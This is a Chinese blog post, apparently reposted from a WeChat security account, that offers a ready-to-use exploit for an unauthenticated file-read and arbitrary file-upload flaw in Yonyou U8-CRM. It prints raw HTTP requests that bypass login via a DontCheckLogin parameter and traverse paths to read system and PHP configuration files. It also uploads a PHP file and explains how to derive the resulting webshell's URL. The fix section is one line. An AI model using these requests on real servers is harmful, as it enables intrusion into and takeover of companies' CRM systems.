正文

苕皮哥期间~好用的某友1day漏洞（附EXP）

admin
admin V管理员 /0 评论 /200 阅读
0928
此篇文章发布距今已超过395天，您需要注意文章的内容或图片是否可用！
声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送，建议大家把阿无安全“设为星标”，否则可能看不到了！

0x01 前言

   用友U8-CRM是企业利用信息技术，是一项商业策略，它通过依据市场细分组织企业资源、培养以客户为中心的经营行为、执行以客户为中心的业务流程等手段来优化企业的客户满意度和获利能力。用友U8-CRM客户关系管理系统存在任意文件上传漏洞，攻击者利用该漏洞可以上传任意文件，导致服务器被沦陷等。

0x02 漏洞影响

用友U8-CRM客户关系管理系统

0x03 文件读取

GET /ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt HTTP/1.1Host: ip:portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=4wewetrt34g34t3tConnection: close

读取c:/windows/win.ini

读取默认的php.ini配置文件

0x04 文件上传

EXP：

POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1Host: ip:portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQContent-Length: 199------WebKitFormBoundarykS5RKgl8t3nwInMQContent-Disposition: form-data; name="file"; filename="ceshi.php "Content-Type: text/plain<?php phpinfo();?>------WebKitFormBoundarykS5RKgl8t3nwInMQ

说明：上传之后返回的路径为：D:\U8SOFT\turbocrm70\code\www\tmpfile\文件名称为：mhtC202.tmp.mht直接访问这个文件不解析，需要访问另一个文件// 上传之后会在目录下生成两个文件tmp.mht和tmp.php文件访问的解析文件格式为udp***.tmp.php星号部分为返回的文件名的十六进制减去一例如：B356——>45910(十六进制)，45909（十六进制减一）——>b355

成功！

shell地址：

http://ip:port/tmpfile/updd674.tmp.php

0x05 修复方案

建议及时更新版本！

0x06 参考来源

https://mp.weixin.qq.com/s/HuOWxGcmIbCayKZXYYMfKQhttps://mp.weixin.qq.com/s/Y7X1G0T8YzatL5Q6bDsN4w


推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
ZhouSa.com-周飒博客